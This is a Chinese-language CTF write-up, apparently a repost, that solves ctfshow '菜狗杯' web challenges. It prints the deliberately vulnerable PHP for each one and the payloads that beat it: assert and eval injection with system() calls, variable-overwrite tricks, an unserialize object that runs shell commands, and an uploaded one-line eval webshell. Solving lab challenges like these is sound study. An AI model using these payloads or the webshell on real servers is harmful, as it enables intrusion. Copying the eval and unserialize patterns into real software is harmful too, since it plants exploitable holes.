• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

ctfshow(菜狗杯

武飞扬头像
偶尔躲躲乌云334
帮助1

目录

web签到

 一言既出

驷马难追

web2 c0me_t0_s1gn

我的眼里只有$

TAPTAPTAP

Webshell

化零为整

无一幸免

遍地飘零

传说之下(雾)

Is_Not_Obfuscate


web签到

  1.  
    <?php
  2.  
     
  3.  
     
  4.  
    error_reporting(0);
  5.  
    highlight_file(__FILE__);
  6.  
     
  7.  
    eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

http://d0255dc2-b1c4-4916-95b0-a3cfe0495d40.challenge.ctf.show/?b=c&c[0]=1&c[6][0][7][5][8][0][9][4][4]=system("cat /f1agaaa");

post: a=b

cookie:CTFshow-QQ群:a   

把群进行url编码就可以

这样的话cookie传入 =a ,然后破石头  a=b  ,get  b=c,request可以接收post和get请求,最后c因为用数组传参所以要带上后面的东西 

 一言既出

  1.  
    <?php
  2.  
    highlight_file(__FILE__);
  3.  
    include "flag.php";
  4.  
    if (isset($_GET['num'])){
  5.  
    if ($_GET['num'] == 114514){
  6.  
    assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
  7.  
    echo $flag;
  8.  
    }
  9.  
    }

看到一些危险的执行函数就要注意,就会执行后面的东西,

intval(114514);//)   输入114514);//

就会执行里面的内容然后注释掉了后面的全部内容,输出flag

学新通

驷马难追

  1.  
    <?php
  2.  
    highlight_file(__FILE__);
  3.  
    include "flag.php";
  4.  
    if (isset($_GET['num'])){
  5.  
    if ($_GET['num'] == 114514 && check($_GET['num'])){
  6.  
    assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
  7.  
    echo $flag;
  8.  
    }
  9.  
    }
  10.  
     
  11.  
    function check($str){
  12.  
    return !preg_match("/[a-z]|\;|\(|\)/",$str);
  13.  
    }

和上一个没太大的区别,就增加了一层过滤,然后注释掉了括号

这个采用?num=114514+1805296的方法

+是加号的意思,学新通

web2 c0me_t0_s1gn

跟着提示,控制台运行就会得出

我的眼里只有$

  1.  
    <?php
  2.  
    error_reporting(0);
  3.  
    extract($_POST);
  4.  
    eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
  5.  
    highlight_file(__FILE__);

假如_=a $_=a ,如果这时候传入a=b $$a=b, $有点多用脚本把

一共有36个$和一共_,需要在_的基础上加上36层

  1.  
    import string
  2.  
     
  3.  
     
  4.  
    a='_=a&'
  5.  
    code="system('ls /');"
  6.  
    for i in range(35):
  7.  
    a =s[i] "=" s[i 1] "&"
  8.  
    a =s[i] "=" code
  9.  
    print(a)

i一开始从0开始  34结束所以最后结尾会加上一个35,s=string.ascii_letters是字母从下标0开始

TAPTAPTAP

学新通

翻到源码,直接base64解密,学新通 

访问获得flag

Webshell

  1.  
    <?php
  2.  
    error_reporting(0);
  3.  
     
  4.  
    class Webshell {
  5.  
    public $cmd = 'echo "Hello World!"';
  6.  
     
  7.  
    public function __construct() {
  8.  
    $this->init();
  9.  
    }
  10.  
     
  11.  
    public function init() {
  12.  
    if (!preg_match('/flag/i', $this->cmd)) {
  13.  
    $this->exec($this->cmd);
  14.  
    }
  15.  
    }
  16.  
     
  17.  
    public function exec($cmd) {
  18.  
    $result = shell_exec($cmd);
  19.  
    echo $result;
  20.  
    }
  21.  
    }
  22.  
     
  23.  
    if(isset($_GET['cmd'])) {
  24.  
    $serializecmd = $_GET['cmd'];
  25.  
    $unserializecmd = unserialize($serializecmd);
  26.  
    $unserializecmd->init();
  27.  
    }
  28.  
    else {
  29.  
    highlight_file(__FILE__);
  30.  
    }
  31.  
     
  32.  
    ?>
学新通

直接给cmd赋值就可以了,然后shell_exec执行,输出只不过输出是在源代码中输出的

  1.  
    <?php
  2.  
    class Webshell {
  3.  
    public $cmd = "cat f*";
  4.  
    }
  5.  
    $W=new Webshell();
  6.  
    echo serialize($W);

获得flag

化零为整

  1.  
    <?php
  2.  
     
  3.  
    highlight_file(__FILE__);
  4.  
    include "flag.php";
  5.  
     
  6.  
    $result='';
  7.  
     
  8.  
    for ($i=1;$i<=count($_GET);$i ){
  9.  
     
  10.  
    if (strlen($_GET[$i])>1){
  11.  
    die("你太长了!!");
  12.  
    }
  13.  
    else{
  14.  
    $result=$result.$_GET[$i];
  15.  
    }
  16.  
    }
  17.  
     
  18.  
    if ($result ==="大牛"){
  19.  
    echo $flag;
  20.  
    }
学新通

 count($_GET)

首先这里就是统计get传参的个数比如,?a=1   值为1   a=1&b=2   就为2了

strlen($_GET[$i])>1

首先strlen是统计字节的个数,N这样的形式只占用一个字节,是统计 a=N统计等号的右边

所以这道题考虑用汉字的url编码绕过,一个汉字有3位url编码,然后用1-6

学新通

?1=&2=&3=&4=&5=&6=

无一幸免

  1.  
    <?php
  2.  
    include "flag.php";
  3.  
    highlight_file(__FILE__);
  4.  
     
  5.  
    if (isset($_GET['0'])){
  6.  
    $arr[$_GET['0']]=1;
  7.  
    if ($arr[]=1){
  8.  
    die($flag);
  9.  
    }
  10.  
    else{
  11.  
    die("nonono!");
  12.  
    }
  13.  
    }

 这道题其实,看if($arr[]=1)这个等于号,是一个所以这是一个赋值的操作,肯定为true会进行die的操作,所以0=1随便赋值 

遍地飘零

  1.  
    <?php
  2.  
    include "flag.php";
  3.  
    highlight_file(__FILE__);
  4.  
     
  5.  
    $zeros="000000000000000000000000000000";
  6.  
     
  7.  
    foreach($_GET as $key => $value){
  8.  
    $$key=$$value;
  9.  
    }
  10.  
     
  11.  
    if ($flag=="000000000000000000000000000000"){
  12.  
    echo "好多零";
  13.  
    }else{
  14.  
    echo "没有零,仔细看看输入有什么问题吧";
  15.  
    var_dump($_GET);
  16.  
    }
学新通

变量覆盖的题目payload:?_GET=flag

传说之下(雾)

打开之后是一个小游戏,一般这样都考察js前端

学新通

然后往上面翻找到了这个

学新通

this当前的为Game类,

学新通

直接在控制太输出Game.score=3000 改变类中的属性,获得flag

Is_Not_Obfuscate

打开界面查看源码

学新通

首先看到,decode,这是解密的说明会有一段加密的东西

如果action=test会执行,然后看下面有个robots.txt,访问

学新通

flag=0没东西,flag=1发现有一段加密后的源码

eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI/w3p1 /wX69euqzpVDJ2a/GkWO4z4QQpnTUq9P5fFd3Uu YvM2ht ZXSvYiLXq0o8zaUZ/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K WAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr NHn6Jn3MYCnm/z9GbI9TH0XZfPPoqqZRrKo48Gdz odPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI CLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg/EmgnR x6othXTZ2ZGQsEYvRa/U1LaK/4D7Op3ZKrKFnzAs01qSCbbf P097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ DU5vzz0 doHA 3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw F7BHMJPheaGD3faUo71nCiV6QWQu0VW/O2DvG eubaq5t1a5Y3tYJmti6soht26kuF7jUUg vZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9 kQvcSUbuwuEnWHYzn16/ewTo gVIqv0 DNJC0YUGs9kWnS2 1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61/yvmis14AVf3UwjoHywgVs7MNevg/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY MB7L5c4S 5arvpFKn/GN4KvCEWYZ r7inzI ng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E fPm6bO7/jSe 2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp/SzwQLyo5N5HVZEVzMdqY7RiEqT6/FOLji7N/7E3c 8ZLOGGQcDJMM5FARuDOfYyh09 M I1Hdc bCze4S0TuOa3j7orHPzP/BLQQLKt6c4cLZ42QbgJwmpowDmVjo/R6dyCuJbWwKGS8BVtzxfh2YhYu r1n7mrY7nPTxszI6w/TWAErJEBVZwXlj33RDqfi u45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP/9 w8pT7oT

 然后input=加密传参,action=test,但是这里一直没成功,弄了好久才发现 被过滤掉了,需要一层的url 编码

  1.  
    Anything is good?Please test it. <?php
  2.  
    header("Content-Type:text/html;charset=utf-8");
  3.  
    include 'lib.php';
  4.  
    if(!is_dir('./plugins/')){
  5.  
    @mkdir('./plugins/', 0777);
  6.  
    }
  7.  
    //Test it and delete it !!!
  8.  
    //测试执行加密后的插件代码
  9.  
    if($_GET['action'] === 'test') {
  10.  
    echo 'Anything is good?Please test it.';
  11.  
    @eval(decode($_GET['input']));
  12.  
    }
  13.  
     
  14.  
    ini_set('open_basedir', './plugins/');
  15.  
    if(!empty($_GET['action'])){
  16.  
    switch ($_GET['action']){
  17.  
    case 'pull':
  18.  
    $output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
  19.  
    echo "pull success";
  20.  
    break;
  21.  
    case 'push':
  22.  
    $input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));
  23.  
    echo "push success";
  24.  
    break;
  25.  
    default:
  26.  
    die('hacker!');
  27.  
    }
  28.  
    }
学新通

 获得了源码界面,从源码可以看出push 用于上传,一句话木马但是经过了链接youyou进行了加密

                                                       pull 用于接受一句话木马,只需要获得上传木马这个文件名就可以利用

<?php eval($_POST['shell']);?>   上传

学新通

 预览输入这个32位小写

但是经过了实验,发现只有传参get才可以利用shell=system('ls /');,post不行

很奇特的点,学到了很多,题后续还会一直补充

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhgaejke
系列文章
更多 icon
同类精品
更多 icon
继续加载